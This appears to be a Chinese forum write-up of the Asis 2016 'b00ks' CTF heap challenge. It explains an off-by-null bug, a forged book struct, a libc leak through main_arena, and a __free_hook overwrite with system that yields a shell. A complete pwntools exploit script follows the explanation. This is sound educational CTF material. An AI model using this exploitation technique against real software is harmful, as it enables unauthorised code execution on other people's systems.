-
-
[原创]PWN学习笔记【堆】【off-by-null】【Asis_2016_b00ks】
-
2022-6-21 11:36 15537
-
0x01 题目分析
1.题目是图书管理功能:
2.其中book结构为:
3.author_name和books_list在全局变量中的内存布局:
4.read_data函数存在off-by-null漏洞,会比传入参数len多读一个字节'\0'
5.read_author_name函数调用漏洞函数读32个字节,实际读入33字节,根据上面的内存布局可以看到,最后一个字节'\0'会覆盖到books_list的第一个字节
6. AddBook的伪代码如下:
malloc3次,依次为 book_name(传入长度)、book_description(传入长度)、和BOOK(32字节)结构体
7. DeleteBook伪代码如下:
0x02 步骤
1. 创建book1,使(book1.book_description & 0xff == 0) && (&book1 & 0xffffffffffffff00 == book1.book_description & 0xffffffffffffff00)
2. 创建book2,使book2.book_description释放后进入unsorted bin中,用来泄露glibc,原理参考:Leak main_arena,glibc
3. 创建book3,使book3.book_name='/bin/sh',用来free_hook的时候给system()传参
4. 使用EditBook()函数, 修改book1.book_description,在这里伪造book结构体,使伪造的结构体:
leak_book.id=1
leak_book.bookname=book2.bookname
leak_book.description=&book3.description
leak_book.description_len=0x20
5. 使用DeleteBook()函数,删除book2,这时book2.bookname的地址刚好是chunk的fd,此时指向main_arena+88的位置,打印leak_book.bookname即可拿到这个地址
6. 计算__free_hook的地址,使用EditBook()函数修改leak_book.description的内容,刚好从&book3.description开始覆盖,从而达到任意写。把book3.description的地址改成__free_hook
7. 使用EditBook()函数修改book3.description,这时book3.description指向__free_hook,修改成system函数的地址
8.使用DeleteBook()函数,删除book3,这时第一个free中会调用system(book3.book_name),而book3.book_name='/bin/sh',成功拿shell
0x03 exp
from pwn import * context.log_level = 'debug' sh = process("./b00ks") libc = ELF("/usr/local/glibc-2.23/lib/libc.so.6") def pause_debug(): try: raise Exception except: f = sys.exc_info()[2].tb_frame.f_back debug("pause_debug [%d]" %f.f_lineno) pause() return def AddBook(bookNameLen, bookName, descriptionLen, description): sh.sendlineafter(b"> ", b"1") sh.sendlineafter(b"Enter book name size: ", str(bookNameLen).encode()) sh.sendlineafter(b"Enter book name (Max 32 chars): ", bookName) sh.sendlineafter(b"Enter book description size: ", str(descriptionLen).encode()) sh.sendlineafter(b"Enter book description: ", description) def DeleteBook(id): sh.sendlineafter(b"> ", b"2") sh.sendlineafter(b"Enter the book id you want to delete: ", str(id).encode()) def EditBook(id, description): sh.sendlineafter(b"> ", b"3") sh.sendlineafter(b"Enter the book id you want to edit: ", str(id).encode()) success("description: %s" %description) success(description) sh.sendlineafter(b"Enter new book description: ", description) def PrintBookList(): sh.sendlineafter(b"> ", b"4") def SetAuthorName(name): sh.sendlineafter(b"> ", b"5") sh.sendlineafter(b"Enter author name: ", name) gdb.attach(sh)#, "b *$rebase(0xE17)\nc" sh.sendlineafter(b"Enter author name: ", 'A'*32) AddBook(0xd0, b'book1', 0x20, "book1 bu shi wo xie de")# &book1.description & 0xff = 0 PrintBookList() sh.recvuntil(b'A' * 32) p_book1 = sh.recv(6) p_book1 = p_book1.ljust(8, b'\x00') p_book1 = u64(p_book1) success("p_book1:%x" %p_book1) # pause_debug() AddBook(0x80, b'book2', 0x20, "book2 ye bu shi wo xie de") AddBook(0x8, b'/bin/sh', 0x20, "book3 hai bu shi wo xie de") payload = flat([ p64(1),#leak_book.id=1 p64(p_book1 + 0x20 + 0x10),#leak_book.bookname=book2.bookname=book2.bookname_chunk.fd p64(p_book1 + 0x20 + 0x160),#leak_book.description=&book3.description p64(0x20)#leak_book.description_len=0x20 ]) EditBook(1,payload) SetAuthorName(b'A' * 32) # pause_debug() DeleteBook(2) pause_debug() PrintBookList() pause_debug() sh.recvuntil("Name: ") main_arena_88 = sh.recv(6) main_arena_88 = u64(main_arena_88.ljust(8, b'\x00')) success("main_arena_88:0x%08x", main_arena_88) success("libc.sym['main_arena']:0x%x" %libc.sym['main_arena']) libcBase = main_arena_88 - 88 - libc.sym['main_arena'] success("libcBase:0x%08x", libcBase) pause_debug() __free_hook_addr = libcBase + libc.sym['__free_hook'] success("__free_hook:0x%08x", __free_hook_addr) payload = flat([ p64(__free_hook_addr), p64(0x20) ]) EditBook(1, payload) pause_debug() EditBook(3, p64(libcBase + libc.sym['system'])) pause_debug() DeleteBook(3) sh.interactive()
exp代码里一堆pause,导致每次暂停不晓得在哪里,用pause_debug()这个可以打印暂停的行号,hin方便~
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界